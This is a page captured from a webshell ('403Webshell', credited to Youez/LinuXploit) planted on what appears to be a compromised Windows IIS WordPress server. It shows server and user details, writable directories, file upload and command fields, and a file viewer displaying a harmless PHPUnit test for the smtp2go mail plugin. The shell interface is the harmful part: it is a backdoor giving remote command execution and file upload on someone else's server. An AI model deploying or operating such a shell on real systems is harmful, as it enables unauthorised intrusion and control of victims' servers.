403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/wst2024/wp-content/plugins/smtp2go/tests/Unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/wst2024/wp-content/plugins/smtp2go/tests/Unit/SMTP2GOMailerTest.php
<?php
namespace Tests\Unit;

require_once 'SMTP2GO-class-loader.php';
use PHPUnit\Framework\TestCase;
use SMTP2GO\Senders\MockSender;
use SMTP2GO\SMTP2GOMailer;



require_once dirname(__FILE__, 2) . '/bootstrap.php';

require_once ABSPATH . WPINC . '/pluggable.php';
class SMTP2GOMailerTest extends TestCase
{
    public function __construct()
    {
        parent::__construct();
    }

    public function setUp(): void
    {
        $GLOBALS['senderClassName'] = MockSender::class;
    }

    public function testMultipleAddressesAreAddedWhenSetAsCommaDelimitedString()
    {
        $mailer          = new SMTP2GOMailer;
        $GLOBALS['phpmailer'] = $mailer;


        wp_mail('sender1@test.test,send2@test.test', 'test', 'test', '');
        $this->assertCount(2, $mailer->getToAddresses());
    }

    public function testMultipleAddressesAreAddedWhenSetAsArray()
    {
        $mailer          = new SMTP2GOMailer;
        $GLOBALS['phpmailer'] = $mailer;


        wp_mail(['sender1@test.test','send2@test.test'], 'test', 'test', '');
        $this->assertCount(2, $mailer->getToAddresses());
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit